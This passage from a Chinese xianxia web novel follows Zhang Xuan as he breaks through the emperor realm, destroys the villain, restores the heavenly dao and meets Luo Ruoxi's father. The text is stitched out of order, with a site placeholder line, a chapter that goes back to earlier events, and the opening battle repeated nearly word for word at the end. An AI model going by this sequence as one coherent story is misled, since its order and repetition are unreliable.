连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会被杀,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具体方法,张悬之前详细询问过,恐怕那时就动了心思。 这才故意拼死,让其施展出最强力量对他攻击。 借助这种力量,浴火重生,没想到,果然大获成功! “原来如此,这才是突破帝君的方法……” 从火焰中走出的张悬,脸上露出淡淡的微笑,像是明白了什么,突然一招手,一侧的分身,立刻重新变成一朵莲花,飞了过来。 刹那间,与自身完美融合。 一眨眼功夫,众人感觉,眼前的张悬,像是变成了九天,九天就是他。 脚掌在地上轻轻一踏。 混乱的九天,立刻稳定下来。 九天混沌金莲,九天诞生时出现,能够稳定九天,此时分身和自我完美融合,不分彼此,也就等于他掌控了这种力量。 不仅如此,融合了九天混沌金莲的修为,他本就达到巅峰的境界,出现了松动,似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起,原来就是世间万物,这才是人!” 面带微笑,张悬喃喃自语。 天道图书馆脱离灵魂的刹那,他明白过来。 是人看了世界,才有了世界,还是先有世界,后有了人? 是风动,还是心动! 这个问题,亘古不朽的困扰着无数人。 当然,现在……这些都不重要了! 没有生命,没有情感,世界就算存在,又有何意义? 所以,突破爱情之后,是众生情!是交织天下的情感。 世间万物皆有情感,有情才有世界,有情感,才能延续生命。 爱,是情。 憎,是情。 高兴,是情。 痛苦,是情。 离别,是情。 相聚,也是情! “万千情意,为我所用……” 一声低呼,张悬体内禁锢的境界,瞬间破开。 帝君桎梏,突破了! 一瞬间,仿佛触摸到了一个全新的世界和大门,灵魂得到了快速的滋养。 无数混沌之气,涌了过来,肉身也飞速提升。 之前只有吸收灵力,才能进步,而现在空间乱流、混沌之气,哪怕是对方的青光,都可以为我所有,不分彼此。 “你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,爆炸开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被分裂出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第一百零六章 归府 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中分裂出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情功法,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们死了,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以死了……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他镇压……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法镇压吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法镇压,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经死了是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,功法顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽镇压下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会被杀,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具体方法,张悬之前详细询问过,恐怕那时就动了心思。 这才故意拼死,让其施展出最强力量对他攻击。 借助这种力量,浴火重生,没想到,果然大获成功! “原来如此,这才是突破帝君的方法……” 从火焰中走出的张悬,脸上露出淡淡的微笑,像是明白了什么,突然一招手,一侧的分身,立刻重新变成一朵莲花,飞了过来。 刹那间,与自身完美融合。 一眨眼功夫,众人感觉,眼前的张悬,像是变成了九天,九天就是他。 脚掌在地上轻轻一踏。 混乱的九天,立刻稳定下来。 九天混沌金莲,九天诞生时出现,能够稳定九天,此时分身和自我完美融合,不分彼此,也就等于他掌控了这种力量。 不仅如此,融合了九天混沌金莲的修为,他本就达到巅峰的境界,出现了松动,似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起,原来就是世间万物,这才是人!” 面带微笑,张悬喃喃自语。 天道图书馆脱离灵魂的刹那,他明白过来。 是人看了世界,才有了世界,还是先有世界,后有了人? 是风动,还是心动! 这个问题,亘古不朽的困扰着无数人。 当然,现在……这些都不重要了! 没有生命,没有情感,世界就算存在,又有何意义? 所以,突破爱情之后,是众生情!是交织天下的情感。 世间万物皆有情感,有情才有世界,有情感,才能延续生命。 爱,是情。 憎,是情。 高兴,是情。 痛苦,是情。 离别,是情。 相聚,也是情! “万千情意,为我所用……” 一声低呼,张悬体内禁锢的境界,瞬间破开。 帝君桎梏,突破了! 一瞬间,仿佛触摸到了一个全新的世界和大门,灵魂得到了快速的滋养。 无数混沌之气,涌了过来,肉身也飞速提升。 之前只有吸收灵力,才能进步,而现在空间乱流、混沌之气,哪怕是对方的青光,都可以为我所有,不分彼此。 “你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,爆炸开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 